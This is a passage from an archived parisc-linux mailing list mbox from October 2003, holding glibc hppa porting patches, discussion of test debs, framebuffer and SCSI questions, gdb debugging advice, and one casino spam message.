@@ -239,12 +405,22 @@
 	register unsigned long __r21 __asm__("r21") = (unsigned long)r21;	\
 	LOAD_ARGS_5(r26,r25,r24,r23,r22)
 
-#define ASM_ARGS_0
-#define ASM_ARGS_1 , "r" (__r26)
-#define ASM_ARGS_2 , "r" (__r26), "r" (__r25)
-#define ASM_ARGS_3 , "r" (__r26), "r" (__r25), "r" (__r24)
-#define ASM_ARGS_4 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23)
-#define ASM_ARGS_5 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23), "r" (__r22)
-#define ASM_ARGS_6 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23), "r" (__r22), "r" (__r21)
-
+/* Even with zero args we use r20 for the syscall number */
+#define ASM_ARGS_0 
+#define ASM_ARGS_1 ASM_ARGS_0, "r" (__r26)
+#define ASM_ARGS_2 ASM_ARGS_1, "r" (__r25)
+#define ASM_ARGS_3 ASM_ARGS_2, "r" (__r24)
+#define ASM_ARGS_4 ASM_ARGS_3, "r" (__r23)
+#define ASM_ARGS_5 ASM_ARGS_4, "r" (__r22)
+#define ASM_ARGS_6 ASM_ARGS_5, "r" (__r21)
+
+/* The registers not listed as inputs but clobbered */
+#define CLOB_ARGS_6
+#define CLOB_ARGS_5 CLOB_ARGS_6, "%r21"
+#define CLOB_ARGS_4 CLOB_ARGS_5, "%r22"
+#define CLOB_ARGS_3 CLOB_ARGS_4, "%r23"
+#define CLOB_ARGS_2 CLOB_ARGS_3, "%r24"
+#define CLOB_ARGS_1 CLOB_ARGS_2, "%r25"
+#define CLOB_ARGS_0 CLOB_ARGS_1, "%r26"
+	
 #endif	/* __ASSEMBLER__ */
diff -urN glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/umount.c glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/umount.c
--- glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/umount.c	2001-07-07 15:21:34.000000000 -0400
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/umount.c	2003-10-14 02:16:36.000000000 -0400
@@ -21,6 +21,7 @@
    does down here.  */
 
 extern long int __umount2 (const char *name, int flags);
+extern long int __umount (const char * name);
 
 long int
 __umount (const char *name)
diff -urN glibc-2.3.2.orig/sysdeps/unix/sysv/linux/sys/sysctl.h glibc-2.3.2/sysdeps/unix/sysv/linux/sys/sysctl.h
--- glibc-2.3.2.orig/sysdeps/unix/sysv/linux/sys/sysctl.h	2002-11-06 00:43:44.000000000 -0500
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/sys/sysctl.h	2003-10-14 02:16:35.000000000 -0400
@@ -24,7 +24,9 @@
 #include <stddef.h>
 /* Prevent more kernel headers than necessary to be included.  */
 #define _LINUX_KERNEL_H	1
-#define _LINUX_TYPES_H	1
+#ifndef _LINUX_TYPES_H
+# define _LINUX_TYPES_H 1
+#endif
 #define _LINUX_LIST_H	1
 #include <linux/sysctl.h>
 
diff -u -p -r1.23 thread-m.h
--- glibc/malloc/thread-m.h	1 Jul 2003 08:29:43 -0000	1.23
+++ glibc/malloc/thread-m.h	25 Sep 2003 20:43:55 -0000
@@ -59,6 +59,28 @@ __libc_lock_define (typedef, mutex_t)
 #define mutex_unlock(m)		\
   __libc_maybe_call2 (pthread_mutex_unlock, (m), (*(int *)(m) = 0))
 
+# if(defined __hppa__)
+/* Since our lock structure does not tolerate being initialized to zero, we must
+   modify the standard function calls made by malloc */
+#  undef mutex_init
+#  undef mutex_lock
+#  undef mutex_trylock
+#  undef mutex_unlock
+#  define mutex_init(m)		\
+	__libc_maybe_call (__pthread_mutex_init, (m, NULL), \
+			(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT),(*(int *)(m))) )
+#  define mutex_lock(m)		\
+	__libc_maybe_call (__pthread_mutex_lock, (m), \
+			(__load_and_clear(&((m)->__m_lock.__spinlock)), 0))
+#  define mutex_trylock(m)	\
+	__libc_maybe_call (__pthread_mutex_trylock, (m), \
+			(*(int *)(m) ? 1 : (__load_and_clear(&((m)->__m_lock.__spinlock)), 0)))
+#  define mutex_unlock(m)	\
+	__libc_maybe_call (__pthread_mutex_unlock, (m), \
+			(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT), (*(int *)(m))) )
+# endif 
+/* if(defined __hppa__) */
+	
 #else
 
 #define mutex_init(m)		\

--H+4ONPRPur6+Ovig--


From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Loren Field" <t1rkpipriv@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CASINO Online: Get $1000 Just to Play - Win a FERRARI.................. jk
Date: Fri, 17 Oct 2003 21:09:39 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <k5oasy044i8k5a3tsou$36k9a70@k3s.u47>
Reply-To: "Loren Field" <t1rkpipriv@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_AE2F0F_62_C53_.."
X-Trace: ger.gmane.org 1416622883 32720 80.91.229.3 (22 Nov 2014 02:21:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:23 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 17 19:27:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl-200-67-207-55.prodigy.net.mx (dsl-200-67-207-55.prodigy.net.mx [200.67.207.55])
	by dsl2.external.hp.com (Postfix) with SMTP id 8A8E84841
	for <parisc-linux@parisc-linux.org>; Fri, 17 Oct 2003 19:27:11 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19848

--_AE2F0F_62_C53_..
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<p>Come On In and Play at Windows Casino</p>
<p><a
href=3D"http://webmaster.windowscasino.com/SmartDownload.asp?affid=3D=
14486">
Download Here</a><br>
<br>
Download games from this casino site and get $1000 to play.</p>
<p><a
href=3D"http://webmaster.windowscasino.com/SmartDownload.asp?affid=3D=
14486">
Download Here</a><br>
<br>
Win a brand news Ferrari 360 Modena.</p>
<p><a
href=3D"http://webmaster.windowscasino.com/SmartDownload.asp?affid=3D=
14486">
Download Here</a><br>
<br>
Windows Casino is a downloadable casino. You need to first download the ca=
sino 
software in order to play. Try all our games with the click of a button.</=
p>
<p><a
href=3D"http://webmaster.windowscasino.com/SmartDownload.asp?affid=3D=
14486">
Download Here</a></p>
<p>By clicking the Download above you are agreeing that you are of legal a=
ge 
where you reside to gamble. You also agree that you are downloading this 
software for no other reason but to have fun at our casino.</p>
<p><a
href=3D"http://webmaster.windowscasino.com/SmartDownload.asp?affid=3D=
14486">
Download Here</a></p>ae ybdl fpdpw xlttzc wwz pcp

--_AE2F0F_62_C53_..--



From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo Mottola <zuse@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] question about my scsi problems
Date: Sat, 18 Oct 2003 14:49:51 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <BBB7038F.98BD%zuse@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622883 32722 80.91.229.3 (22 Nov 2014 02:21:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:23 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 06:51:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.libero.it (smtp3.libero.it [193.70.192.127])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2444548CE
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Oct 2003 06:51:03 -0600 (MDT)
Original-Received: from [192.168.1.10] (151.42.175.217) by smtp3.libero.it (7.0.020-DD01)
        id 3F6F04A6009162DF for parisc-linux@lists.parisc-linux.org; Sat, 18 Oct 2003 14:51:01 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19849

Hello,

a visit to openpa.net made me doubtful.

I reported kernel freeze problems probably scsi related. I have a dedicated
disk and the driver used is called "lasi". But the hp 9000/720 does not have
a lasi chip, which is for 712 for example.

is the driver actually more "general" ?

-Ric



From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ATI rage xl and C360 (it works!)
Date: Sat, 18 Oct 2003 20:26:38 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <3F91A1FE.2000901@tiscali.be>
References: <3F8A29A2000025F8@ocpmta1.freegates.net> <Pine.LNX.4.58.0310161708130.15082@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622883 32725 80.91.229.3 (22 Nov 2014 02:21:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:23 +0000 (UTC)
Cc: hinzen@blah.pl, parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 14:26:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A19A486E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Oct 2003 14:26:52 -0600 (MDT)
Original-Received: from [62.235.120.104] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AAxey-0000tp-Qa; Sat, 18 Oct 2003 22:26:48 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.58.0310161708130.15082@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19850

Hi Max,

M. Grabert wrote:
> On Thu, 16 Oct 2003, Joel Soete wrote:
> 
> 
>>Thomas,
>>
>>Thanks a lot, you config file was very helpfull to make it work:
>>root@fw02:~# modprobe atyfb
>>atyfb: using auxiliary register aperture
>>atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL,
>>230 MHz PLL, 83 Mhz MCLK, 63 Mhz XCLKConsole: switching to colour frame buffer
>>device 80x30
>>fb0: ATY Mach64 frame buffer device on PCI
> 
> 
> I wonder whether you can also use more recent ATI Radeon graphic cards.

Hmm, on my b180 even if for s/w all seems ok (gdm run and no error 
neither in in XFree86.0.log nor in gdm/:0.log), nothing appears on the 
screen?
Having no other platform to test the card (which I suspect to be 
broken), I just still have an opportunity to test it on my b2k (near 
about c3k iirc) before any conclusion.

Anyway, unfortunaltely, the only other ATI card i could have at my 
disposal is an AGP model (useless for b180 or b2k models). Sorry to not 
being able to help you more.


> So far I've only seen reports about ATI Rage XL, but does this patch
> work with any kind of ATI card?
> 
I think (as far as can understand the patch content) that it is specific 
to this card model.

Well come Max,
	Joel



From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa glibc 2.3.2-9 available for the brave testers!
Date: Sat, 18 Oct 2003 20:31:46 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <3F91A332.9050700__19883.4045943388$1416622884$gmane$org@tiscali.be>
References: <20031017180912.GD27289@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622884 32728 80.91.229.3 (22 Nov 2014 02:21:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 14:31:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id D673C486E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Oct 2003 14:31:47 -0600 (MDT)
Original-Received: from [62.235.120.104] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AAxjn-00013V-25; Sat, 18 Oct 2003 22:31:47 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <20031017180912.GD27289@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19851

Hi Carlos,

I can safely broken my raid1 Debian/unstable install and drive some test 
on a disk :) and advise you.

Joel

Carlos O'Donell wrote:
> parisc-linux,
> debian-hppa,
> 
> --- CALLING ALL TESTERS! ---
> 
> glibc 2.3.2 is complete for HPPA. We've gotten rid of the following
> long standing test-suite errors (bug-iconv3, and test-fenv).
> 
> The regressions in 2.3.2 were caused by incorrect handling of the PIC
> register by the kernel, but fixed in glibc. Most cases for our stack
> were handled incorrectly (stack grows up cases), but are fixed in this
> release.
> 
> ftp://ftp.parisc-linux.org/unofficial-debs/glibc_2.3.2-9_2003-10-16/
> 
> Download all the debs and install with:
> 
> dpkg -i libc6_*.deb
> (Followed by dpkg -i of the rest in any order, libc6 must install first) 
> 
> Please do this only if you consider yourself a well seasoned linux-type
> person. If that dpkg install fails for any reason you might be in
> trouble. I'm running these debs on all my boxes, and I've tested in a
> chroot, rebuilt our toolchain, and ran lmbench, gnome-session, nautilus,
> and abi-word.
> 
> http://www.baldric.uwo.ca/~carlos/a500-gnome-abiword.png
> 
> Thanks go out to everyone for all the moral support and fun! 
> 
> --- TEST IT AND REPORT BACK ... PLEASE! :) ---
> 
> == DISCLAIMER ===
> I do not guarantee that these debs won't cause your computer to explode
> like a pineapple grenade, showering shrapnel and fiery death on all your
> loved ones.
> == DISCLAIMER ===
> 
> c.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Sysdeps changes for hppa.
Date: Sat, 18 Oct 2003 16:47:55 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20031018204754.GA8642__40259.1508035131$1416622884$gmane$org@systemhalted>
References: <20031012213226.GE23999@systemhalted> <3F8CDFD6.1010300@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622884 32731 80.91.229.3 (22 Nov 2014 02:21:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:24 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 14:51:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAF884852
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Oct 2003 14:51:46 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AAxzP-0002jX-00; Sat, 18 Oct 2003 16:47:55 -0400
Content-Disposition: inline
In-Reply-To: <3F8CDFD6.1010300@redhat.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (52% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19852

> I've applied this patch, but only because I really don't care how the PA
> port looks.

Small cleanup mistake. Thank you.

c.

---
2003-10-18  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* sysdeps/unix/sysv/linux/hppa/sysdep.h: Fix merge error.

diff -u -p -r1.8 sysdep.h
--- libc/sysdeps/unix/sysv/linux/hppa/sysdep.h	15 Oct 2003 05:46:00 -0000	1.8
+++ libc/sysdeps/unix/sysv/linux/hppa/sysdep.h	16 Oct 2003 05:38:17 -0000
@@ -371,7 +371,6 @@
 			LDW_ASM_PIC				\
 			: "=r" (__res)				\
 			: "i" (SYS_ify(name)) ASM_ARGS_##nr	\
-			 );					\
 			: CALL_CLOB_REGS CLOB_ARGS_##nr		\
 		);						\
 		__sys_res = (long)__res;			\


From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
Date: Sat, 18 Oct 2003 21:13:16 +0000
Lines: 82
Approved: news@gmane.org
Message-ID: <3F91ACEC.1010504@tiscali.be>
References: <3F8A272E00000550@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622884 32735 80.91.229.3 (22 Nov 2014 02:21:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:24 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 15:13:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D4964852
	for <parisc-linux@parisc-linux.org>; Sat, 18 Oct 2003 15:13:18 -0600 (MDT)
Original-Received: from [62.235.120.104] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AAyNw-00024k-Ql; Sat, 18 Oct 2003 23:13:16 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <3F8A272E00000550@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19853

Carlos,

I just reboot my C110 but with a kernel 2.4.21-32 and evolution works 
fine. OTC with k2.6 still failled. I will try to see later what is wrong :(

Thanks again,
	Joel


Joel Soete wrote:
> Hi Carlos,
> 
> I just haven't such hw at my office where otc i can do some other check on
> the b2k model.
> 
> On this b2k (also installed with unstable debian) run fine the same release
> of evolution (otc what i said).
> But it is booted with last 2.4 (a merge of 23-pre7 and 22-pa12) with 256M
> of ram (only 128k for c110) and without mozilla-psm (a recommended or suggested
> additional pkg added on c110).
> 
> So a lot of test to figure out the present pb :)
> 
> Thanks a lot ( I will advise you :) )
>     Joel
> 
> 
>>-- Original Message --
>>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>>To: Joel Soete <soete.joel@tiscali.be>
>>Cc: parisc-linux@parisc-linux.org
>>Date: Sun, 12 Oct 2003 16:02:02 -0400
>>Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
>>
>>
>>On Sun, Oct 12, 2003 at 06:42:55PM +0000, Joel Soete wrote:
>>Hello Carlos,
>>
>>I launch 'gbd evolution'
>>(gdb) run
>>to determine the new address in this env but failed before with message:
>>Program received signal SIG37, Real-time event 37.
> 
> 
>>>0x4193c574 in malloc_set_state () from /lib/libc.so.6
>>
>>what's your opinion?
> 
> 
> That's libpthreads realtime singal mechanism working.
> You need to set "handle all nostop" and "handle all pass" in gdb.
> 
> Then you can do the math with /proc/<pid>
> 
>>maps and the dying address to
> 
> calculate the _real_ library offset and function symbolic name.
> 
> c.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman
> 
>>listinfo/parisc-linux
> 
> 
> 
> 
> -------------------------------------------------------------------------
> L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
> pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa glibc 2.3.2-9 available for the brave testers!
Date: Sat, 18 Oct 2003 15:55:09 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20031018215509.GB10704__17523.1625479229$1416622885$gmane$org@colo.lackof.org>
References: <20031017180912.GD27289@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622885 32739 80.91.229.3 (22 Nov 2014 02:21:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 15:55:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCDBD4852
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Oct 2003 15:55:10 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 1F4E2298034; Sat, 18 Oct 2003 15:55:10 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 10532-06; Sat, 18 Oct 2003 15:55:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7DD8E29800B; Sat, 18 Oct 2003 15:55:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20031017180912.GD27289@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
